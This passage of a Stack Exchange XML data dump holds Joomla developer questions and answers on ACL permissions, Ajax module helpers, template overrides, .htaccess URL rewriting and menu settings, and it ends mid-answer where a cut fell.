  <row Id="21686" PostTypeId="2" ParentId="19442" CreationDate="2017-10-09T12:20:39.810" Score="2" Body="&lt;p&gt;I realise that this is a bit late but …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is possible for extensions to define their own permissions, as really the &quot;permissions&quot; are fundamentally just strings. However, the standard method would be to use the extension's access.xml file you describe above. The steps would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Define your permission in the access.xml file (you would generally have associated translatable text strings for the permission's description, etc).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Joomla's standard &quot;rules&quot; field type within a form to allow administrators to enter the permissions against users. A little extra work is needed to store these permissions in the database – they're stored in the Joomla Assets table. Eg your extension would have an asset record and the permissions would be stored in a JSON format within the rules field of that record.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Where you want to restrict access you'd need to then check if an individual user had your permission, eg via:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JFactory::getUser()-&amp;gt;authorise(&quot;your.permission&quot;, &quot;com_yourcomponent&quot;);&lt;/code&gt;&#xA;will return true or false, depending on whether the user has or has not the permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHelperContent::getActions(&quot;com_yourcomponent&quot;);&lt;/code&gt;&#xA;will return an associative array containing all the permissions associated with your extension, and whether or not the logged on user has each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your description of Joomla's capabilities are correct, as far as I know. One possibility you might consider is storing the definition of your permissions locally in your own component, and then programmatically generating the access.xml file every time you define a new permission. However, I can't say what impact that would have on the user experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you say, you could bypass the Joomla UI and store the permissions directly in the assets record. You'd have to be aware though about the user and user group permissions inheritance that Joomla implements, so I think that this approach might be more problematic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you have a look at some of the tutorial information on the web regarding Joomla permissions as the area is fairly complex: &lt;a href=&quot;https://youtu.be/CFqXAc3orkY&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; (which does mention an extension which helps with configuring access control, but I've no experience of it) and &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_ACL&quot; rel=&quot;nofollow noreferrer&quot;&gt;this step in the Joomla MVC development tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2017-10-09T12:20:39.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21687" PostTypeId="1" AcceptedAnswerId="21688" CreationDate="2017-10-09T13:49:21.670" Score="4" ViewCount="1455" Body="&lt;p&gt;I have no experience with Ajax and little to no experience with Joomla. I've managed to create my own Joomla modules with no problem. Today I tried to use Ajax in one of my modules but I am getting an error: &lt;code&gt;&quot;Method getAjax does not exist.&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class ModDisplayVacancies&#xA;{&#xA;    public static function getAjax()&#xA;    {&#xA;       return &quot;getAjax return&quot;;&#xA;    }&#xA;&#xA;....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my  &lt;strong&gt;mod_display_vacancies.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;// Include the syndicate functions only once&#xA;&#xA;$document = JFactory::getDocument();&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;&#xA;$document-&amp;gt;addStyleSheet('/Joomla/modules/mod_display_vacancies/css/styles.css');&#xA;$document-&amp;gt;addScript('/Joomla/modules/mod_display_vacancies/js/custom.js');&#xA;&#xA;&#xA;$table = ModDisplayVacancies::createTable($params);&#xA;&#xA;require JModuleHelper::getLayoutPath('mod_display_vacancies');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my J&lt;strong&gt;avaScript:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).on('click', 'button[id=vacancies_next]', function(){&#xA;&#xA;    console.log(&quot;next&quot;);&#xA;&#xA;    var request = {&#xA;        'option' : 'com_ajax',&#xA;        'module' : 'display_vacancies',&#xA;        'data' : 5,&#xA;        'format': 'json'&#xA;    }&#xA;&#xA;    jQuery.ajax({&#xA;        type: 'GET',&#xA;        data: request,&#xA;        success:function(responce){&#xA;            console.log(&quot;success&quot;);&#xA;            console.log(responce);&#xA;        },&#xA;        error:function(responce){&#xA;            console.log(&quot;error&quot;);&#xA;            console.log(responce);&#xA;        }&#xA;    });  &#xA;&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's pretty strange to me why in the console I'm getting &quot;success&quot; and then an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dd9DK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dd9DK.png&quot; alt=&quot;console screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11652" LastActivityDate="2017-10-09T16:34:52.517" Title="Joomla Ajax Module getAjax() method not found" Tags="|module|ajax|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21688" PostTypeId="2" ParentId="21687" CreationDate="2017-10-09T15:10:43.620" Score="3" Body="&lt;p&gt;Your Helper Class name should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ModDisplayVacanciesHelper&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;strong&gt;the Module must be published&lt;/strong&gt; on all pages, if not you have to add one menu ID in your request where the module is published. Just like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;Itemid=&amp;lt;menu id&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11648" LastEditorUserId="11648" LastEditDate="2017-10-09T16:34:52.517" LastActivityDate="2017-10-09T16:34:52.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21690" PostTypeId="2" ParentId="4493" CreationDate="2017-10-09T15:55:38.573" Score="2" Body="&lt;p&gt;@Craig answer is very good, but &lt;code&gt;JERROR&lt;/code&gt; will deprecate in Joomla 4.0. You can use the code below instead, when wou want to notify the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\Joomla\CMS\Factory::getApplication()-&amp;gt;enqueueMessage($msg, 'warning')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7070" LastActivityDate="2017-10-09T15:55:38.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21691" PostTypeId="1" CreationDate="2017-10-09T18:38:00.200" Score="2" ViewCount="24" Body="&lt;p&gt;I'm a web designer working for a cctv company. the website is built with Joomla CMS and i'm working on it for almost 2 years. i have seo and speed problems with the template. i'm considering changing the template.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;what items should be considered when choosing an eCommerce template?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;what are the best tools to check the template seo-wise and speed-wise?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;what else should be checked aside speed and seo?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;what template providers do you recommend? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2017-10-10T02:53:49.907" Title="things to consider when choosing an eCommerce template" Tags="|templates|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21693" PostTypeId="2" ParentId="21691" CreationDate="2017-10-10T02:53:49.907" Score="2" Body="&lt;p&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speed is probably the main consideration when choosing a template for an e-commerce site as website visitors will browse away if they wait too long. Tools such as &lt;a href=&quot;https://gtmetrix.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gtmetrix.com&lt;/a&gt; and &lt;a href=&quot;https://tools.pingdom.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tools.pingdom.com&lt;/a&gt; can provide a rough idea of the performance of a template. Run the speed test as close to the location of the demo website by choosing an appropriate server location when running the test. (Create a free account on GTMetrix to be able to choose a server location). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SEO&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEO features (page titles, page headings, meta descriptions) are built into the Joomla core rather than the template although some templates implement these poorly and should be avoided (e.g. early Artisteer templates implemented the page heading as a H2 heading rather than a H1 heading. There are also many third party extensions that can help with SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other Considerations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose a template from a template developer that offers ongoing support and updates so you are not left stranded when there is a major Joomla update etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some templates are specifically designed to integrate with one or more e-commerce extensions and this may be useful if you are using one of the more popular e-commerce solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Recommendations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recommending specific templates may turn this into a community poll so all I'll suggest is to choose a fast template from an established template developer. It doesn't have to be a template specifically designed for e-commerce but any e-commerce extension specific styling is probably a bonus.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-10-10T02:53:49.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21694" PostTypeId="1" CreationDate="2017-10-10T03:48:32.853" Score="2" ViewCount="517" Body="&lt;p&gt;I have the newest Joomla version. I have created a Category Blog with a link from the homepage menu. And want to achieve something like this on the page:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I have now:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Subcategory title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory title &lt;/p&gt;&#xA;&#xA;&lt;p&gt;subcategory description&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have linked each subcategory description image and direct to a blog of articles. I want to hide the subcategory titles, but couldn't find the option in the &quot;Menus&quot;. There is only option to choose show or hide &quot;Subcategory description&quot; but no option to show or hide subcategory title.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I want to achieve:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Subcategory description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="11655" LastActivityDate="2018-11-05T02:00:20.470" Title="How to hide subcategory titles in category blog and only display the subcategory descriptions" Tags="|joomla-3.x|category-blog|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21696" PostTypeId="1" AcceptedAnswerId="21699" CreationDate="2017-10-10T07:13:35.887" Score="3" ViewCount="486" Body="&lt;p&gt;I've created a module that connects to the database and retrieves some data using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $db-&amp;gt;loadRowList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside one of the member functions of the module helper class. Is there a way I can store that &lt;code&gt;$data&lt;/code&gt; object as a member variable of the class so I can use it in other member functions of the class? My idea is to use &lt;code&gt;$data&lt;/code&gt; in my Ajax functions. I've tried defining it like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyModuleHelper{&#xA;    private $data;&#xA;&#xA;    public static MyDatabaseFunction($params)&#xA;    {&#xA;      ....&#xA;      self::$data = $db-&amp;gt;loadRowList();&#xA;      ...&#xA;      //here self::$data is full&#xA;    }&#xA;&#xA;    public static MyAjaxFunction()&#xA;    {&#xA;       //here self::$data is empty&#xA;    }&#xA;     .....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11652" LastActivityDate="2018-06-07T03:18:30.177" Title="How to keep data in Joomla module helper class" Tags="|module|ajax|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21697" PostTypeId="2" ParentId="21696" CreationDate="2017-10-10T10:31:48.250" Score="2" Body="&lt;p&gt;I don't know a lot about static methods as I never work with them, however (and don't quote me on this), it may be because you cannot access non-static properties in a static function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'll either need to define you class property like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyModuleHelper&#xA;{&#xA;    static $data;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or move away from static methods, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyModuleHelper&#xA;{&#xA;    private $data;&#xA;&#xA;    public function MyDatabaseFunction($params)&#xA;    {&#xA;        $this-&amp;gt;data = $db-&amp;gt;loadRowList();&#xA;    }&#xA;&#xA;    public function MyAjaxFunction()&#xA;    {&#xA;        var_dump($this-&amp;gt;data);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-10-10T10:31:48.250" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21698" PostTypeId="1" AcceptedAnswerId="21715" CreationDate="2017-10-10T10:32:46.260" Score="1" ViewCount="162" Body="&lt;p&gt;How does caching affect the various plugins triggers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that after a page is cached the other plugins get bypassed until the &#xA;cache time resets and the page gets recreated?&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2017-10-10T14:37:11.720" LastActivityDate="2017-10-12T03:32:27.460" Title="Joomla caching and plugins" Tags="|joomla-3.x|com-plugins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21699" PostTypeId="2" ParentId="21696" CreationDate="2017-10-10T16:21:19.717" Score="2" Body="&lt;p&gt;I think you're a little confused as to the relation between static PHP methods/variables and AJAX calls. When you make an AJAX call to the server it's not going to pull up a previously created version of your MyModuleHelper object (even if methods of that object are static). This is because the AJAX call is in a completely different application scope than when the page was loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way: two people load the page that has the module. Each page load resulted in a completely independent PHP application/thread being created/executed with a completely different instance of MyModuleHelper (regardless of whether it has static methods/variables). Each person then clicks the button that makes the AJAX call. How does the server know which AJAX call is tied to which MyModuleHelper instance? It doesn't. In fact, those first two PHP applications/executions don't even exist anymore (they completed their work and ended when the page finished loading). The server would create a new PHP application execution and for each AJAX call (with new instances of MyModuleHelper).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why your $data is always empty when you make the AJAX call. Static methods/variables are only useful when the &lt;strong&gt;same&lt;/strong&gt; PHP application is using a class and you want to share data (via a static class variable) or use static methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to do what you're intending is to make sure $data is populated in any of your function calls that you're calling via AJAX (no need to use static methods or variables):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyModuleHelper&#xA;{&#xA;&#xA;  var $data = null;&#xA;&#xA;  public populateData()&#xA;  {&#xA;     // no need to re-populate if we re-call this method for whatever reason&#xA;     if(is_object($this-&amp;gt;data)) return;&#xA;&#xA;     ...&#xA;&#xA;     $this-&amp;gt;data = $db-&amp;gt;loadRowList();&#xA;  }&#xA;&#xA;&#xA;  public MyAjaxFunction()&#xA;  {&#xA;     $this-&amp;gt;populateData();&#xA;&#xA;     var_dump($this-&amp;gt;data);&#xA;&#xA;     // do stuff&#xA;  }&#xA;&#xA;&#xA;  public MyOtherAjaxFunction()&#xA;  {&#xA;     $this-&amp;gt;populateData();&#xA;&#xA;     var_dump($this-&amp;gt;data);&#xA;&#xA;     // do other stuff&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-10-10T19:16:51.470" LastActivityDate="2017-10-10T19:16:51.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21700" PostTypeId="1" AcceptedAnswerId="22126" CreationDate="2017-10-10T16:31:02.610" Score="2" ViewCount="352" Body="&lt;p&gt;First of all, I have 3 new languages installed on my Joomla!  I don't know how, I have no new users so i assume there is a vulnerability that allows languages to be installed somehow.  I was on 3.7.4 until I updated to 3.8.1 just now.  No idea how long the languages have been there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to uninstall Romanian and got this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning&#xA;The Romnaro-RO extension is part of a package which does not allow individual extensions to be uninstalled.&#xA;The Romnro-RO extension is part of a package which does not allow individual extensions to be uninstalled.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does anyone have a suggestion as to how these languages got installed?&lt;/li&gt;&#xA;&lt;li&gt;Does anyone know how I can uninstall Romanian?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-12-19T22:41:43.823" Title="I found languages installed and I can't install one" Tags="|joomla-3.x|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21701" PostTypeId="2" ParentId="21694" CreationDate="2017-10-10T16:39:08.957" Score="1" Body="&lt;p&gt;You'll want to override the category blog layout template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy all the code from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_content/views/category/tmpl/blog_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and paste into a new file you'll create at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/&amp;lt;your active template&amp;gt;/html/com_content/category/blog_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will result in Joomla using that new file instead of the original one you copied from. Now modify the code in your new file to make it work the way you want.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-10T16:39:08.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21703" PostTypeId="1" AcceptedAnswerId="21706" CreationDate="2017-10-10T18:14:29.587" Score="2" ViewCount="660" Body="&lt;p&gt;What file I have to change to edit the created date of an article from the front end? Using joomla 3.8.1. &lt;/p&gt;&#xA;" OwnerUserId="11513" LastActivityDate="2022-11-09T19:20:45.900" Title="How to edit 'created date' from front end" Tags="|joomla-3.x|form-fields-types|front-end|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21705" PostTypeId="2" ParentId="21681" CreationDate="2017-10-10T19:43:34.513" Score="1" Body="&lt;p&gt;I think you're going in the wrong directing a little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you're creating a different view for each of your parent and children templates. What you really want to do is have a single view per page layout or per.. data structure (hard to explain without an example). It shouldn't depend on how you've structured your database. A single view can have many template pieces that make up the final HTML output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at com_content for example. There is a view for &quot;category&quot;. That category view has two major looks/layout, the blog layout, and the list layout (default layout). Both are part of the same view because both do the same thing data-wise: they display articles from a single category (and maybe its sub-categories). Within each of the layouts there are multiple template pieces/files that all get build and combined (based on the settings) into the final page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /views/category/tmpl/blog.php &amp;lt;-- the main template for the blog layout&#xA; /views/category/tmpl/blog_item.php &amp;lt;-- each article in the blog layout&#xA; /views/category/tmpl/blog_links.php &amp;lt;-- additional links that show after the blog_item.php articles&#xA; /views/category/tmpl/blog_children.php &amp;lt;-- links to sub-categories (if there are any) of the category being displayed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;blog.php will grab/include blog_item.php, blog_links.php, and blog_children.php to build the final HTML output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data that the category view gets is a combination of multiple tables in the database (#__content, #__assets, #__categories, #__users, etc) and all the data needed to build all those template pieces/files is taken care of in the category model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, there isn't a separate view for the main blog.php template, and another view to build the blog_item.php template and another view to build the blog_links.php template, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you DO have vastly different layouts that require multiple views (such as how com_content has a view for a single article, a view for the homepage/featured articles, and the view for list of articles in categories) that's fine. If your models end up having to pull some of the same data in exactly the same way in multiple views you can consider putting those methods in a helper class that you can register using &lt;code&gt;JLoader::register();&lt;/code&gt; or a simple &lt;code&gt;require '';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-10T19:43:34.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21706" PostTypeId="2" ParentId="21703" CreationDate="2017-10-11T00:37:44.943" Score="1" Body="&lt;p&gt;Unfortunately, Joomla 3.x does not seem to allow the creation date to be modified from the front-end of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only third party extension I can find that enables this feature is &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/authoring-a-content/content-submission/easyarticles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyArticles&lt;/a&gt; which is a paid extension from StackIdeas. (You can verify this feature exists on their demo site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably other extensions that can do this and the Content Submission category in the JED might be a good place to start looking: &lt;a href=&quot;https://extensions.joomla.org/category/authoring-a-content/content-submission&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/authoring-a-content/content-submission&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-10-11T00:37:44.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21708" PostTypeId="1" AcceptedAnswerId="21712" CreationDate="2017-10-11T10:11:02.990" Score="0" ViewCount="133" Body="&lt;p&gt;I'm looking for some specific advise - I am removing Joomsef from one of my sites as the support is poor and I need to rewrite some specific url's generated by the widgetkit component as the core sef does not seem to target these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, one of the url's previously generated by Joomsef is /residential-work/buckingham-street the url for this page without Joomsef is /residential-work?layout=edit&amp;amp;id=32&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been fiddling around with the .htaccess for a couple of hours trying to get the correct rule to no affect - always a 404 on the /residential-work/buckingham-street url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My latest attempt was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/residential-work?layout=edit&amp;amp;id=32$ residential-work/buckingham-street [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no joy, I have also tried adding the rule in different area's of the htaccess but am still unable to get the rule to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have it working I need to replicate this across a number of url's so any help getting this working would be most appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I have just tried the following also and this does not work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} (^|&amp;amp;)layout=edit($|&amp;amp;)&#xA;RewriteCond %{QUERY_STRING} (^|&amp;amp;)id=32($|&amp;amp;)&#xA;RewriteRule ^residential-work$ /residential-work/buckingham-street?&amp;amp;%{QUERY_STRING}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in summary, I want to rewrite /residential-work?layout=edit&amp;amp;id=32 so that it is residential-work/buckingham-street&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-10-12T07:29:43.747" LastActivityDate="2017-10-12T07:29:43.747" Title="Rewriting single URL - Multiple attempts without result" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21710" PostTypeId="1" CreationDate="2017-10-11T18:01:10.770" Score="1" ViewCount="474" Body="&lt;p&gt;I have set 2 menu items as default by mistake (both have a yellow star), and it's not possible to change this, as I get the message:&#xA;&quot;Save failed with the following error: At least one menu item has to be set as Default&quot;&#xA;I don't understand this as there are now two menu items set as default, so i should be able to change one of them so that it's no longer &quot;default&quot;, while leaving the other menu item as &quot;default&quot;.&#xA;Now my menus don't work because of this.&#xA;Help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="11662" LastEditorUserId="11662" LastEditDate="2017-10-11T18:07:40.607" LastActivityDate="2021-10-18T07:37:50.120" Title="Two menu items set as default; how to revert to just one?" Tags="|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21711" PostTypeId="2" ParentId="21710" CreationDate="2017-10-11T18:30:27.933" Score="2" Body="&lt;p&gt;Try going into your database, and going to the table &lt;code&gt;_menu&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that only one menu item has the &lt;code&gt;home&lt;/code&gt; value set to &quot;1&quot;, and the others set to &quot;0&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty sure you shouldn't be able to have more than one default page, which suggests a database hiccup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Always make a backup before tweaking the database manually)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-10-11T18:30:27.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21712" PostTypeId="2" ParentId="21708" CreationDate="2017-10-11T22:41:02.880" Score="0" Body="&lt;p&gt;Does going directly to &lt;code&gt;/residential-work/buckingham-street&lt;/code&gt; work or does it 404? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work by itself, redirect people there isn't going to work (you're redirecting people to a no-longer-existing location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's SEF routing works like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a visitor requests a URI like &lt;code&gt;residential-work/buckingham-street&lt;/code&gt; Joomla looks up which menu item has &lt;code&gt;residential-work&lt;/code&gt; as the menu alias (after checking whether or not there is a sub-menu of residential-work with the alias buckingham-street).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If found it checks which component type that menu item is (in this case, a widgetkit component).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then loads that component's route.php file (&lt;code&gt;/components/&amp;lt;component name&amp;gt;/route.php&lt;/code&gt;) and passes all the of URI data (&lt;code&gt;/residential-work/buckingham-street&lt;/code&gt;) to a parse() method there. The parse() method translates &lt;code&gt;/residential-work/buckingham-street&lt;/code&gt; into the query variables that widgetkit needs to fulfill the request (eg, it returns back that the &quot;option&quot; is &quot;com_widgetkit&quot; and the &quot;layout&quot; is &quot;edit&quot; and the &quot;id&quot; is &quot;32&quot;, etc). Joomla then passes that information into the main widgetkit component file for processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;widgetkit's route.php also has the rules for building the SEF URL (it's build() method) from the pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the links you're getting from Joomla to that page are &lt;code&gt;/residential-work?layout=edit&amp;amp;id=32&lt;/code&gt; it means that widgetkit's route.php build() method doesn't have the right rules to convert &lt;code&gt;/residential-work?layout=edit&amp;amp;id=32&lt;/code&gt; into &lt;code&gt;/residential-work/buckingham-street&lt;/code&gt;, and, if you're getting 404s when attempting to load &lt;code&gt;/residential-work/buckingham-street&lt;/code&gt; it means widgetkit's route.php parse() method doesn't have the right rules to convert &lt;code&gt;/residential-work/buckingham-street&lt;/code&gt; back to it's needed data values (layout=edit, id=32, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say you have few options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Redirect all the old URLs the new ones (redirect &lt;code&gt;/residential-work/buckingham-street&lt;/code&gt; to &lt;code&gt;/residential-work?layout=edit&amp;amp;id=32&lt;/code&gt;, not the other way around). Joomla still wont use/understand those old URL but at least they wont 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Contact the widgetkit devs and ask them if they can update 